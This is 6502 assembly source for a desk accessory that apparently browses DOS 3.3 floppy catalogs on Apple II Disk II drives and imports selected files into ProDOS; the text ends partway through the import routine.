;;; ============================================================
;;; DOS3.3.IMPORT - Desk Accessory
;;; ============================================================
.include "../config.inc"
RESOURCE_FILE "dos33.import.res"
.include "apple2.inc"
.include "../inc/apple2.inc"
.include "../inc/macros.inc"
.include "../inc/prodos.inc"
.include "../inc/dos33.inc"
.include "../mgtk/mgtk.inc"
.include "../common.inc"
.include "../desktop/desktop.inc"
.include "../toolkits/btk.inc"
.include "../toolkits/lbtk.inc"
;;; ============================================================
;;; Memory map
;;;
;;; Main Aux
;;; : : : :
;;; | | | |
;;; | DHR | | DHR |
;;; $2000 +-----------+ +-----------+
;;; | Block Buf | | |
;;; $1E00 +-----------+ | |
;;; | RWTS Buf1 | | |
;;; $1D00 +-----------+ | |
;;; | T/S List | | |
;;; $1C00 +-----------+ | ^ |
;;; | I/O Buf | | | |
;;; | | | | |
;;; $1800 +-----------+ | Catalog |
;;; | | | Entries |
;;; | | +-----------+ ~$1200
;;; : : : :
;;; | (unused) | | (unused) |
;;; | | +-----------+ ????
;;; ???? +-----------+ | |
;;; | | | DA GUI |
;;; | DA Logic | | Code & |
;;; | & RWTS | | Resources |
;;; $800 +-----------+ +-----------+
;;; : : : :
;;; ============================================================
.struct ControlBlock
num_entries .byte
dev_count .byte
dev_list .res 14
unit_num .byte
volume_number .byte
selected_index .byte
progress_num .word
progress_denom .word
.endstruct
;;; ============================================================
DA_HEADER
DA_START_AUX_SEGMENT
.struct CatalogEntry
TypeFlags .byte
Name .res 1 + dos33::MaxFilenameLen ; length-prefixed
Length .word
Track .byte
Sector .byte
.endstruct
kMaxCatalogEntries = 105
EntryBuffer := $2000 - kMaxCatalogEntries * .sizeof(CatalogEntry)
;;; ============================================================
;;; Resources used across windows
.include "../lib/event_params.s"
NoOp: rts
pensize_normal: .byte 1, 1
pensize_frame: .byte kBorderDX, kBorderDY
grafport_win: .tag MGTK::GrafPort
control_block: .tag ControlBlock
;;; ============================================================
.scope DevicePicker
kDAWindowId = $80
kDAWidth = 270
kDAHeight = kPickerHeight + 45
kDALeft = (kScreenWidth - kDAWidth)/2
kDATop = (kScreenHeight - kMenuBarHeight - kDAHeight)/2 + kMenuBarHeight
kButtonsTop = kDAHeight - 20
kButtonsRight = kDAWidth - 19
kButtonsGap = 10
kPickerRows = 6
kPickerWindowId = kDAWindowId+1
kPickerWidth = kDAWidth - 60
kPickerWidthSB = kPickerWidth + 20
kPickerHeight = kPickerRows * kListItemHeight - 1
kPickerLeft = kDALeft + (kDAWidth - kPickerWidthSB) / 2
kPickerTop = kDATop + 20
.params winfo_picker
window_id: .byte kDAWindowId
options: .byte MGTK::Option::dialog_box
title: .addr 0
hscroll: .byte MGTK::Scroll::option_none
vscroll: .byte MGTK::Scroll::option_none
hthumbmax: .byte 0
hthumbpos: .byte 0
vthumbmax: .byte 0
vthumbpos: .byte 0
status: .byte 0
reserved: .byte 0
mincontwidth: .word kDAWidth
mincontheight: .word kDAHeight
maxcontwidth: .word kDAWidth
maxcontheight: .word kDAHeight
port:
DEFINE_POINT viewloc, kDALeft, kDATop
mapbits: .addr MGTK::screen_mapbits
mapwidth: .byte MGTK::screen_mapwidth
reserved2: .byte 0
DEFINE_RECT maprect, 0, 0, kDAWidth, kDAHeight
pattern: .res 8, $FF
colormasks: .byte MGTK::colormask_and, MGTK::colormask_or
DEFINE_POINT penloc, 0, 0
penwidth: .byte 1
penheight: .byte 1
penmode: .byte MGTK::notpencopy
textback: .byte MGTK::textbg_white
textfont: .addr DEFAULT_FONT
nextwinfo: .addr 0
REF_WINFO_MEMBERS
.endparams
DEFINE_RECT_FRAME frame_rect, kDAWidth, kDAHeight
DEFINE_BUTTON ok_button, kDAWindowId, res_string_button_ok, kGlyphReturn, kButtonsRight - kButtonWidth*2 - kButtonsGap, kButtonsTop
DEFINE_BUTTON cancel_button, kDAWindowId, res_string_button_cancel, res_string_button_cancel_shortcut, kButtonsRight - kButtonWidth, kButtonsTop
DEFINE_LIST_BOX_WINFO winfo_picker_listbox, \
kPickerWindowId, \
kPickerLeft, \
kPickerTop, \
kPickerWidth, \
kPickerHeight, \
DEFAULT_FONT
DEFINE_LIST_BOX listbox_rec, winfo_picker_listbox, \
kPickerRows, 0, \
DrawListEntryProc, OnSelChange, NoOp
DEFINE_LIST_BOX_PARAMS lb_params, listbox_rec
.params getwinport_params
window_id: .byte kDAWindowId
port: .addr grafport_win
.endparams
;;; ============================================================
.proc Init
copy8 control_block+ControlBlock::dev_count, listbox_rec::num_items
copy8 #BTK::kButtonStateDisabled, ok_button::state
MGTK_CALL MGTK::OpenWindow, winfo_picker
MGTK_CALL MGTK::OpenWindow, winfo_picker_listbox
MGTK_CALL MGTK::HideCursor
jsr DrawWindow
MGTK_CALL MGTK::ShowCursor
LBTK_CALL LBTK::Init, lb_params
MGTK_CALL MGTK::FlushEvents
FALL_THROUGH_TO InputLoop
.endproc ; Init
.proc InputLoop
JSR_TO_MAIN JUMP_TABLE_SYSTEM_TASK
jsr GetNextEvent
cmp #MGTK::EventKind::button_down
jeq HandleDown
cmp #MGTK::EventKind::key_down
beq HandleKey
bne InputLoop ; always
.endproc ; InputLoop
.proc Exit
ldx listbox_rec::selected_index
IF_NC
copy8 control_block+ControlBlock::dev_list,x, control_block+ControlBlock::unit_num
END_IF
MGTK_CALL MGTK::CloseWindow, winfo_picker_listbox
MGTK_CALL MGTK::CloseWindow, winfo_picker
JSR_TO_MAIN JUMP_TABLE_CLEAR_UPDATES
rts
.endproc ; Exit
;;; ============================================================
.proc HandleKey
lda event_params::key
IF_A_EQ_ONE_OF #CHAR_UP, #CHAR_DOWN
copy8 event_params::key, lb_params::key
copy8 event_params::modifiers, lb_params::modifiers
LBTK_CALL LBTK::Key, lb_params
jmp InputLoop
END_IF
ldx event_params::modifiers
IF_NOT_ZERO
;; Modified
lda event_params::key
jsr ToUpperCase
cmp #kShortcutCloseWindow
jeq Exit
jmp InputLoop
END_IF
;; Not modified
IF_A_EQ #CHAR_ESCAPE
jmp Exit
END_IF
IF_A_EQ #CHAR_RETURN
jmp Exit
END_IF
jmp InputLoop
.endproc ; HandleKey
;;; ============================================================
.proc HandleDown
MGTK_CALL MGTK::FindWindow, findwindow_params
lda findwindow_params::which_area
cmp #MGTK::Area::content
bne done
lda findwindow_params::window_id
IF_A_EQ #kPickerWindowId
COPY_STRUCT event_params::coords, lb_params::coords
LBTK_CALL LBTK::Click, lb_params
IF_NC
jsr DetectDoubleClick
jpl Exit
END_IF
jmp InputLoop
END_IF
cmp #kDAWindowId
bne done
;; Click in DA content area
copy8 #kDAWindowId, screentowindow_params::window_id
MGTK_CALL MGTK::ScreenToWindow, screentowindow_params
MGTK_CALL MGTK::MoveTo, screentowindow_params::window
MGTK_CALL MGTK::InRect, ok_button::rect
IF_NE
BTK_CALL BTK::Track, ok_button
bmi done
jmp Exit
END_IF
MGTK_CALL MGTK::InRect, cancel_button::rect
IF_NE
BTK_CALL BTK::Track, cancel_button
bmi done
copy8 #$FF, listbox_rec::selected_index
jmp Exit
END_IF
done: jmp InputLoop
.endproc ; HandleDown
;;; ============================================================
DEFINE_LABEL prompt, res_string_select_disk, 20, 16
.proc DrawWindow
MGTK_CALL MGTK::GetWinPort, getwinport_params
;; ASSERT: Not obscured.
MGTK_CALL MGTK::SetPort, grafport_win
MGTK_CALL MGTK::HideCursor
MGTK_CALL MGTK::SetPenSize, pensize_frame
MGTK_CALL MGTK::FrameRect, frame_rect
MGTK_CALL MGTK::SetPenSize, pensize_normal
MGTK_CALL MGTK::MoveTo, prompt_label_pos
param_call DrawString, prompt_label_str
BTK_CALL BTK::Draw, ok_button
BTK_CALL BTK::Draw, cancel_button
MGTK_CALL MGTK::ShowCursor
done: rts
.endproc ; DrawWindow
str_template:
PASCAL_STRING res_string_slot_drive_pattern
kSlotOffset = res_const_slot_drive_pattern_offset1
kDriveOffset = res_const_slot_drive_pattern_offset2
;;; Called with A = index
.proc DrawListEntryProc
tax ; X = index
lda control_block+ControlBlock::dev_list,x
pha ; A = unit number
and #%01110000 ; A = 0sss0000
lsr ; A = 00sss000
lsr ; A = 000sss00
lsr ; A = 0000sss0
lsr ; A = 00000sss
ora #'0'
sta str_template + kSlotOffset
pla ; A = unit number
rol ; C = drive 1/2
lda #'1'
adc #0
sta str_template + kDriveOffset
param_jump DrawString, str_template
.endproc ; DrawListEntryProc
.proc OnSelChange
lda listbox_rec::selected_index
ASSERT_EQUALS BTK::kButtonStateChecked, %10000000
and #BTK::kButtonStateChecked
sta ok_button::state
BTK_CALL BTK::Hilite, ok_button
rts
.endproc ; OnSelChange
.endscope ; DevicePicker
;;; ============================================================
.scope Catalog
kDAWindowId = $80
kDAWidth = 355
kDAHeight = kCatalogHeight + 46
kDALeft = (kScreenWidth - kDAWidth)/2
kDATop = (kScreenHeight - kMenuBarHeight - kDAHeight)/2 + kMenuBarHeight
kButtonsTop = 8
kButtonsRight = kDAWidth - 19
kButtonsGap = 10
kProgressBarTop = 23
kProgressBarInset = 20
kProgressBarWidth = kDAWidth - kProgressBarInset*2
kProgressBarHeight = 7
kCatalogRows = 11
kCatalogWindowId = kDAWindowId+1
kCatalogWidth = kDAWidth - 60
kCatalogWidthSB = kCatalogWidth + 20
kCatalogHeight = kCatalogRows * kListItemHeight - 1
kCatalogLeft = kDALeft + (kDAWidth - kCatalogWidthSB) / 2
kCatalogTop = kDATop + 36
.params winfo_catalog
window_id: .byte kDAWindowId
options: .byte MGTK::Option::dialog_box
title: .addr 0
hscroll: .byte MGTK::Scroll::option_none
vscroll: .byte MGTK::Scroll::option_none
hthumbmax: .byte 0
hthumbpos: .byte 0
vthumbmax: .byte 0
vthumbpos: .byte 0
status: .byte 0
reserved: .byte 0
mincontwidth: .word kDAWidth
mincontheight: .word kDAHeight
maxcontwidth: .word kDAWidth
maxcontheight: .word kDAHeight
port:
DEFINE_POINT viewloc, kDALeft, kDATop
mapbits: .addr MGTK::screen_mapbits
mapwidth: .byte MGTK::screen_mapwidth
reserved2: .byte 0
DEFINE_RECT maprect, 0, 0, kDAWidth, kDAHeight
pattern: .res 8, $FF
colormasks: .byte MGTK::colormask_and, MGTK::colormask_or
DEFINE_POINT penloc, 0, 0
penwidth: .byte 1
penheight: .byte 1
penmode: .byte MGTK::notpencopy
textback: .byte MGTK::textbg_white
textfont: .addr DEFAULT_FONT
nextwinfo: .addr 0
REF_WINFO_MEMBERS
.endparams
DEFINE_RECT_FRAME frame_rect, kDAWidth, kDAHeight
DEFINE_BUTTON import_button, kDAWindowId, res_string_button_import, kGlyphReturn, kButtonsRight - kButtonWidth*2 - kButtonsGap, kButtonsTop
DEFINE_BUTTON close_button, kDAWindowId, res_string_button_close, res_string_button_cancel_shortcut, kButtonsRight - kButtonWidth, kButtonsTop
DEFINE_RECT_SZ progress_frame, kProgressBarInset-1, kProgressBarTop-1, kProgressBarWidth+2, kProgressBarHeight+2
DEFINE_RECT_SZ progress_meter, kProgressBarInset, kProgressBarTop, kProgressBarWidth, kProgressBarHeight
pencopy: .byte MGTK::pencopy
progress_pattern:
.byte %01000100
.byte %00010001
.byte %01000100
.byte %00010001
.byte %01000100
.byte %00010001
.byte %01000100
.byte %00010001
DEFINE_LIST_BOX_WINFO winfo_catalog_listbox, \
kCatalogWindowId, \
kCatalogLeft, \
kCatalogTop, \
kCatalogWidth, \
kCatalogHeight, \
DEFAULT_FONT
DEFINE_LIST_BOX listbox_rec, winfo_catalog_listbox, \
kCatalogRows, 0, \
DrawListEntryProc, OnSelChange, NoOp
DEFINE_LIST_BOX_PARAMS lb_params, listbox_rec
.params getwinport_params
window_id: .byte kDAWindowId
port: .addr grafport_win
.endparams
DEFINE_LABEL disk_vol, res_string_disk_volume_prefix, 20, 18
.params entry_muldiv_params
number: .word 0 ; (in) populated dynamically
numerator: .word .sizeof(CatalogEntry) ; (in) constant
denominator: .word 1 ; (in) constant
result: .word 0 ; (out)
remainder: .word 0 ; (out)
.endparams
.params progress_muldiv_params
number: .word kProgressBarWidth ; (in) constant
numerator: .word 0 ; (in) populated dynamically
denominator: .word 0 ; (in) populated dynamically
result: .word 0 ; (out)
remainder: .word 0 ; (out)
.endparams
;;; ============================================================
.proc Init
copy8 control_block+ControlBlock::num_entries, listbox_rec::num_items
copy8 #BTK::kButtonStateDisabled, import_button::state
MGTK_CALL MGTK::OpenWindow, winfo_catalog
MGTK_CALL MGTK::OpenWindow, winfo_catalog_listbox
MGTK_CALL MGTK::HideCursor
jsr DrawWindow
MGTK_CALL MGTK::ShowCursor
LBTK_CALL LBTK::Init, lb_params
MGTK_CALL MGTK::FlushEvents
FALL_THROUGH_TO InputLoop
.endproc ; Init
.proc InputLoop
JSR_TO_MAIN JUMP_TABLE_SYSTEM_TASK
jsr GetNextEvent
cmp #MGTK::EventKind::button_down
jeq HandleDown
cmp #MGTK::EventKind::key_down
beq HandleKey
bne InputLoop ; always
.endproc ; InputLoop
.proc ExitOK
lda #0
FALL_THROUGH_TO Exit
.endproc ; ExitOK
.proc Exit
pha ; A = error code (0 = success)
MGTK_CALL MGTK::CloseWindow, winfo_catalog_listbox
MGTK_CALL MGTK::CloseWindow, winfo_catalog
JSR_TO_MAIN JUMP_TABLE_CLEAR_UPDATES
pla ; A = error code (0 = success)
rts
.endproc ; Exit
;;; ============================================================
.proc HandleKey
lda event_params::key
IF_A_EQ_ONE_OF #CHAR_UP, #CHAR_DOWN
copy8 event_params::key, lb_params::key
copy8 event_params::modifiers, lb_params::modifiers
LBTK_CALL LBTK::Key, lb_params
jmp InputLoop
END_IF
ldx event_params::modifiers
IF_NOT_ZERO
;; Modified
lda event_params::key
jsr ToUpperCase
cmp #kShortcutCloseWindow
jeq ExitOK
jmp InputLoop
END_IF
;; Not modified
IF_A_EQ #CHAR_ESCAPE
jmp ExitOK
END_IF
IF_A_EQ #CHAR_RETURN
jmp Import
END_IF
jmp InputLoop
.endproc ; HandleKey
;;; ============================================================
.proc HandleDown
MGTK_CALL MGTK::FindWindow, findwindow_params
lda findwindow_params::which_area
cmp #MGTK::Area::content
bne done
lda findwindow_params::window_id
IF_A_EQ #kCatalogWindowId
COPY_STRUCT event_params::coords, lb_params::coords
LBTK_CALL LBTK::Click, lb_params
IF_NC
jsr DetectDoubleClick
jpl Import
END_IF
jmp InputLoop
END_IF
cmp #kDAWindowId
bne done
;; Click in DA content area
copy8 #kDAWindowId, screentowindow_params::window_id
MGTK_CALL MGTK::ScreenToWindow, screentowindow_params
MGTK_CALL MGTK::MoveTo, screentowindow_params::window
MGTK_CALL MGTK::InRect, import_button::rect
IF_NE
BTK_CALL BTK::Track, import_button
bmi done
jmp Import
END_IF
MGTK_CALL MGTK::InRect, close_button::rect
IF_NE
BTK_CALL BTK::Track, close_button
bmi done
jmp ExitOK
END_IF
done: jmp InputLoop
.endproc ; HandleDown
;;; ============================================================
.proc Import
MGTK_CALL MGTK::SetCursor, MGTK::SystemCursor::watch
copy8 listbox_rec::selected_index, control_block+ControlBlock::selected_index
JSR_TO_MAIN ::main::DoImport
pha ; A = error code (0 = success)
jsr ClearProgressMeter
MGTK_CALL MGTK::SetCursor, MGTK::SystemCursor::pointer
pla ; A = error code (0 = success
jne Exit
jmp InputLoop
.endproc ; Import
;;; ============================================================
.proc DrawWindow
MGTK_CALL MGTK::GetWinPort, getwinport_params
;; ASSERT: Not obscured.
MGTK_CALL MGTK::SetPort, grafport_win
MGTK_CALL MGTK::HideCursor
MGTK_CALL MGTK::SetPenSize, pensize_frame
MGTK_CALL MGTK::FrameRect, frame_rect
MGTK_CALL MGTK::SetPenSize, pensize_normal
MGTK_CALL MGTK::FrameRect, progress_frame
MGTK_CALL MGTK::MoveTo, disk_vol_label_pos
param_call DrawString, disk_vol_label_str
lda control_block+ControlBlock::volume_number
ldx #0
jsr To3DigitString
param_call DrawString, str_from_int
BTK_CALL BTK::Draw, import_button
BTK_CALL BTK::Draw, close_button
MGTK_CALL MGTK::ShowCursor
done: rts
.endproc ; DrawWindow
DEFINE_POINT pt, 0, 0
;;; Called with A = index
.proc DrawListEntryProc
pha
pt_ptr := $06
stxy pt_ptr
ldy #.sizeof(MGTK::Point)-1
DO
copy8 (pt_ptr),y, pt,y
dey
WHILE_POS
pla
;; Calculate address of `CatalogEntry`
ptr := $04
sta entry_muldiv_params::number
MGTK_CALL MGTK::MulDiv, entry_muldiv_params
add16 entry_muldiv_params::result, #EntryBuffer, ptr
kLockedX = 8
kTypeX = 20
kSizeX = 32
kNameX = 57
;; Locked?
ldy #CatalogEntry::TypeFlags
lda (ptr),y
IF_NS
copy16 #kLockedX, pt::xcoord
MGTK_CALL MGTK::MoveTo, pt
param_call DrawString, str_locked
END_IF
;; Type
copy16 #kTypeX, pt::xcoord
MGTK_CALL MGTK::MoveTo, pt
ldy #CatalogEntry::TypeFlags
lda (ptr),y
and #$7F
jsr clz
copy8 type_table,x, str_type+1
param_call DrawString, str_type
;; Size
copy16 #kSizeX, pt::xcoord
MGTK_CALL MGTK::MoveTo, pt
ldy #CatalogEntry::Length+1
lda (ptr),y
tax
dey
lda (ptr),y
jsr To3DigitString
param_call DrawString, str_from_int
;; Name
copy16 #kNameX, pt::xcoord
MGTK_CALL MGTK::MoveTo, pt
add16_8 ptr, #CatalogEntry::Name
ldax ptr
jmp DrawString
.endproc ; DrawListEntryProc
str_locked: PASCAL_STRING "*"
str_type: PASCAL_STRING "?"
;;; Index is count of leading zeros
type_table:
.byte 'I', 'A', 'B', 'S', 'R', '1', '2', '?', 'T'
;;; Count leading zeros
;;; Input: A = byte
;;; Output: X = leading zeros (0...8)
.proc clz
ldx #0
DO
lsr a
BREAK_IF_CS
inx
WHILE_X_NE #8
rts
.endproc ; clz
.proc OnSelChange
lda listbox_rec::selected_index
ASSERT_EQUALS BTK::kButtonStateChecked, %10000000
and #BTK::kButtonStateChecked
sta import_button::state
BTK_CALL BTK::Hilite, import_button
rts
.endproc ; OnSelChange
.proc UpdateProgressMeter
MGTK_CALL MGTK::GetWinPort, getwinport_params
;; ASSERT: Not obscured.
MGTK_CALL MGTK::SetPort, grafport_win
copy16 control_block+ControlBlock::progress_num, progress_muldiv_params::numerator
copy16 control_block+ControlBlock::progress_denom, progress_muldiv_params::denominator
MGTK_CALL MGTK::MulDiv, progress_muldiv_params
add16 progress_muldiv_params::result, progress_meter::x1, progress_meter::x2
MGTK_CALL MGTK::SetPattern, progress_pattern
MGTK_CALL MGTK::SetPenMode, pencopy
MGTK_CALL MGTK::PaintRect, progress_meter
rts
.endproc ; UpdateProgressMeter
.proc ClearProgressMeter
MGTK_CALL MGTK::GetWinPort, getwinport_params
;; ASSERT: Not obscured.
MGTK_CALL MGTK::SetPort, grafport_win
add16 #kProgressBarWidth, progress_meter::x1, progress_meter::x2
MGTK_CALL MGTK::SetPenMode, pencopy
MGTK_CALL MGTK::PaintRect, progress_meter
rts
.endproc ; ClearProgressMeter
.endscope ; Catalog
;;; ============================================================
.proc To3DigitString
jsr IntToString
;; TODO: Make this more elegant
lda str_from_int
IF_A_EQ #1
copy8 str_from_int+1, str_from_int+3
lda #'0'
sta str_from_int+1
sta str_from_int+2
copy8 #3, str_from_int
rts
END_IF
IF_A_EQ #2
copy8 str_from_int+2, str_from_int+3
copy8 str_from_int+1, str_from_int+2
copy8 #'0', str_from_int+1
copy8 #3, str_from_int
rts
END_IF
rts
.endproc ; To3DigitString
str_from_int: PASCAL_STRING "000000" ; filled in by IntToString
;;; ============================================================
.include "../lib/uppercase.s"
.include "../lib/drawstring.s"
.include "../lib/get_next_event.s"
.include "../lib/doubleclick.s"
.include "../lib/inttostring.s"
.assert * < EntryBuffer, error, "DA too large"
;;; ============================================================
DA_END_AUX_SEGMENT
;;; ============================================================
DA_START_MAIN_SEGMENT
.scope main
;;; ============================================================
RWTS_BLOCK_BUF := $1E00 ; 512 bytes
RWTS_SECTOR_BUF := $1D00 ; 256 bytes
TS_BUF := $1C00 ; 256 bytes File Track/Sector List buffer
IO_BUF := $1800 ; 1kB ProDOS buffer
;;; ============================================================
start:
;; Get active window's path
jsr GetWinPath
IF_NE
lda #kErrNoWindowsOpen
jmp JUMP_TABLE_SHOW_ALERT
END_IF
CLEAR_BIT7_FLAG dirty_flag
JUMP_TABLE_MGTK_CALL MGTK::SetCursor, MGTK::SystemCursor::watch
jsr EnumerateDrives
JUMP_TABLE_MGTK_CALL MGTK::SetCursor, MGTK::SystemCursor::pointer
jsr SendControlBlock
JSR_TO_AUX aux::DevicePicker::Init
jsr FetchControlBlock
lda control_block+ControlBlock::unit_num
RTS_IF_EQ
JUMP_TABLE_MGTK_CALL MGTK::SetCursor, MGTK::SystemCursor::watch
jsr LoadCatalogEntries
JUMP_TABLE_MGTK_CALL MGTK::SetCursor, MGTK::SystemCursor::pointer
jsr SendControlBlock
JSR_TO_AUX aux::Catalog::Init
pha ; A = error code (0 = success)
jsr FetchControlBlock
pla ; A = error code (0 = success)
IF_NE
jsr JUMP_TABLE_SHOW_ALERT
END_IF
bit dirty_flag
RTS_IF_NC ; no change
;; Force window refresh
window_id := $06
JUMP_TABLE_MGTK_CALL MGTK::FrontWindow, window_id
lda window_id
jmp JUMP_TABLE_ACTIVATE_WINDOW
.proc EnumerateDrives
;; TODO: Iterate slot/drive vs. DEVLST? Order?
copy8 DEVCNT, index
copy8 #0, control_block+ControlBlock::dev_count
DO
ldx index
lda DEVLST,x
and #UNIT_NUM_MASK
jsr IsDiskII
IF_ZS
ldx index
lda DEVLST,x
and #UNIT_NUM_MASK
jsr IsDOS33
IF_ZS
;; It is DOS 3.3 - append it to the list
ldx index
lda DEVLST,x
and #UNIT_NUM_MASK
ldx control_block+ControlBlock::dev_count
sta control_block+ControlBlock::dev_list,x
inc control_block+ControlBlock::dev_count
END_IF
END_IF
dec index
WHILE_POS
rts
index: .byte 0
.endproc ; EnumerateDrives
.proc LoadCatalogEntries
copy8 #0, control_block+ControlBlock::num_entries
copy16 #aux::EntryBuffer, aux_entry_ptr
;; Read VTOC
lda #dos33::VTOCTrack
ldx #dos33::VTOCSector
jsr do_read
jcs exit_error
lda RWTS_SECTOR_BUF + dos33::VTOC::NumTracks
cmp #35
jne exit_error
lda RWTS_SECTOR_BUF + dos33::VTOC::NumSectors
cmp #16
jne exit_error
copy8 RWTS_SECTOR_BUF + dos33::VTOC::VolumeNumber, control_block+ControlBlock::volume_number
lda RWTS_SECTOR_BUF + dos33::VTOC::FirstCatTrack
ldx RWTS_SECTOR_BUF + dos33::VTOC::FirstCatSector
sector_loop:
jsr do_read
jcs exit_error
ldy #dos33::FirstFileOffset
file_loop:
sty cur_cat_sector_offset ; +$00 `FileEntry::Track`
lda RWTS_SECTOR_BUF,y
jeq exit_success ; $00 = entry free, so done
cmp #$FF ; $FF = entry is deleted, so skip
beq next_file
;; Process valid file entry
sta entry_buf+aux::CatalogEntry::Track
iny ; +$01 `FileEntry::Sector`
copy8 RWTS_SECTOR_BUF,y, entry_buf+aux::CatalogEntry::Sector
iny ; +$02 `FileEntry::TypeFlags`
copy8 RWTS_SECTOR_BUF+aux::CatalogEntry::TypeFlags,y, entry_buf+aux::CatalogEntry::TypeFlags
iny ; +$03 `FileEntry::Name`
ldx #0
DO
lda RWTS_SECTOR_BUF,y
and #$7F ; strip high bit
sta entry_buf+aux::CatalogEntry::Name+1,x
iny
inx
WHILE_X_NE #dos33::MaxFilenameLen
DO
dex
lda entry_buf+aux::CatalogEntry::Name+1,x
WHILE_A_EQ #' '
inx
stx entry_buf+aux::CatalogEntry::Name
lda cur_cat_sector_offset
clc
adc #dos33::FileEntry::Length
tay
copy16 RWTS_SECTOR_BUF,y, entry_buf+aux::CatalogEntry::Length
;; Copy to buffer in Aux
copy16 #entry_buf, STARTLO
copy16 #entry_buf+.sizeof(aux::CatalogEntry)-1, ENDLO
copy16 aux_entry_ptr, DESTINATIONLO
sec ; main>aux
jsr AUXMOVE
add16_8 aux_entry_ptr, #.sizeof(aux::CatalogEntry)
inc control_block+ControlBlock::num_entries
next_file:
lda cur_cat_sector_offset
clc
adc #.sizeof(dos33::FileEntry)
tay
jcc file_loop
next_sector:
lda RWTS_SECTOR_BUF + dos33::NextCatSectorTrack
ldx RWTS_SECTOR_BUF + dos33::NextCatSectorSector
jne sector_loop
exit_success:
rts
exit_error:
;; TODO: Something useful here
brk
aux_entry_ptr:
.addr 0
cur_cat_sector_offset:
.byte 0
entry_buf:
.tag aux::CatalogEntry
;;; A = track, X = sector
.proc do_read
ldy #<RWTS_SECTOR_BUF
sty $06
ldy #>RWTS_SECTOR_BUF
sty $06+1
ldy control_block+ControlBlock::unit_num
jmp RWTSRead
.endproc ; do_read
.endproc ; LoadCatalogEntries
;;; ============================================================
;;; Copied back and forth from main to aux
control_block:
.tag ControlBlock
.proc SendControlBlock
;; Copy to Aux
copy16 #control_block, STARTLO
copy16 #control_block+.sizeof(ControlBlock)-1, ENDLO
copy16 #aux::control_block, DESTINATIONLO
sec ; main>aux
jmp AUXMOVE
.endproc ; SendControlBlock
.proc FetchControlBlock
;; Copy from Aux
copy16 #aux::control_block, STARTLO
copy16 #aux::control_block+.sizeof(ControlBlock)-1, ENDLO
copy16 #control_block, DESTINATIONLO
clc ; aux>main
jmp AUXMOVE
.endproc ; FetchControlBlock
;;; ============================================================
.proc DoImport
jmp start
DEFINE_CREATE_PARAMS create_params, path_buf, ACCESS_DEFAULT, SELF_MODIFIED_BYTE, SELF_MODIFIED
DEFINE_OPEN_PARAMS open_params, path_buf, IO_BUF
DEFINE_READWRITE_PARAMS write_params, RWTS_SECTOR_BUF, $100
DEFINE_SET_EOF_PARAMS set_eof_params, SELF_MODIFIED
DEFINE_CLOSE_PARAMS close_params
set_eof_flag: .byte 0
tslist_offset: .byte 0
PARAM_BLOCK muldiv_params, $10
number .word ; (in)
numerator .word ; (in)
denominator .word ; (in)
result .word ; (out)
remainder .word ; (out)
END_PARAM_BLOCK
start:
jsr FetchControlBlock
;; Fetch `CatalogEntry`
copy8 control_block+ControlBlock::selected_index, muldiv_params::number
copy8 #0, muldiv_params::number+1
copy16 #.sizeof(aux::CatalogEntry), muldiv_params::numerator
copy16 #1, muldiv_params::denominator
JUMP_TABLE_MGTK_CALL MGTK::MulDiv, muldiv_params
add16 muldiv_params::result, #aux::EntryBuffer, STARTLO
add16 STARTLO, #.sizeof(aux::CatalogEntry)-1, ENDLO
copy16 #entry_buf, DESTINATIONLO
clc ; aux>main
jsr AUXMOVE
copy16 #0, control_block+ControlBlock::progress_num
copy16 entry_buf+aux::CatalogEntry::Length, control_block+ControlBlock::progress_denom
;; --------------------------------------------------
;; Make the name ProDOS-friendly
str_name := entry_buf + aux::CatalogEntry::Name
;; Truncate to 15 or less
lda str_name
IF_A_GE #15
lda #15
END_IF
sta str_name
tax
;; Make uppercase or '.'
DO
lda str_name,x
jsr ToUpperCase
;; Digit is fine
jsr IsDigit
IF_CS
;; Uppercase is fine
jsr IsUpperAlpha
IF_CS
;; Anything else becomes '.'
lda #'.'
sta str_name,x
END_IF
END_IF
dex
WHILE_NOT_ZERO
;; Can't start with non-alpha, replace with 'X'
lda str_name+1
IF_A_LT #'A'
copy8 #'X', str_name+1
END_IF
;; --------------------------------------------------
;; Construct full path
lda prefix_path
clc
adc str_name
IF_A_GE #kMaxPathLength ; not +1 because we'll add '/'
lda #ERR_INVALID_PATHNAME
rts
END_IF
COPY_STRING prefix_path, path_buf
ldx #0
ldy path_buf
iny
copy8 #'/', path_buf,y
DO
inx
iny
copy8 str_name,x, path_buf,y
WHILE_X_NE str_name
sty path_buf
;; NOTE: Can't show alerts, as that will trash aux $E00...$1FFF
;; --------------------------------------------------
;; Load file's first Track/Sector List sector
copy16 #TS_BUF, $06
lda entry_buf+aux::CatalogEntry::Track
ldx entry_buf+aux::CatalogEntry::Sector
ldy control_block+ControlBlock::unit_num
jsr RWTSRead
RTS_IF_CS
jsr IncProgress
;; Load first file sector
copy16 #RWTS_SECTOR_BUF, $06
lda TS_BUF+dos33::TSList::FirstDataT
ldx TS_BUF+dos33::TSList::FirstDataS
ldy control_block+ControlBlock::unit_num
jsr RWTSRead
RTS_IF_CS
jsr IncProgress
copy8 #dos33::TSList::FirstDataT+2, tslist_offset
;; Data offsets depend on type
lda entry_buf+aux::CatalogEntry::TypeFlags
and #$7F
pha ; A = type
IF_A_EQ #dos33::FileTypeBinary
;; Binary header:
;; +$00 WORD address (low/high)
;; +$02 WORD length (low/high)
copy16 RWTS_SECTOR_BUF+0, create_params::aux_type
SET_BIT7_FLAG set_eof_flag
copy16 RWTS_SECTOR_BUF+2, set_eof_params::eof
copy16 #RWTS_SECTOR_BUF+4, write_params::data_buffer
copy16 #256-4, write_params::request_count
jmp translate_type
END_IF
IF_A_EQ #dos33::FileTypeApplesoft
;; Applesoft BASIC header:
;; +$00 WORD length (low/high)
copy16 #$0801, create_params::aux_type
copy16 RWTS_SECTOR_BUF+0, set_eof_params::eof
SET_BIT7_FLAG set_eof_flag
copy16 #RWTS_SECTOR_BUF+2, write_params::data_buffer
copy16 #256-2, write_params::request_count
jmp translate_type
END_IF
IF_A_EQ #dos33::FileTypeInteger
;; Integer BASIC header:
;; +$00 WORD length (low/high)
copy16 #$0000, create_params::aux_type
copy16 RWTS_SECTOR_BUF+0, set_eof_params::eof
SET_BIT7_FLAG set_eof_flag
copy16 #RWTS_SECTOR_BUF+2, write_params::data_buffer
copy16 #256-2, write_params::request_count
jmp translate_type
END_IF
copy16 #0, create_params::aux_type
CLEAR_BIT7_FLAG set_eof_flag
copy16 #RWTS_SECTOR_BUF, write_params::data_buffer
copy16 #256, write_params::request_count
FALL_THROUGH_TO translate_type
translate_type:
;; Set the type
pla ; A = type
jsr clz
copy8 prodos_type_table,x, create_params::file_type
;; Create target file
JUMP_TABLE_MLI_CALL CREATE, create_params
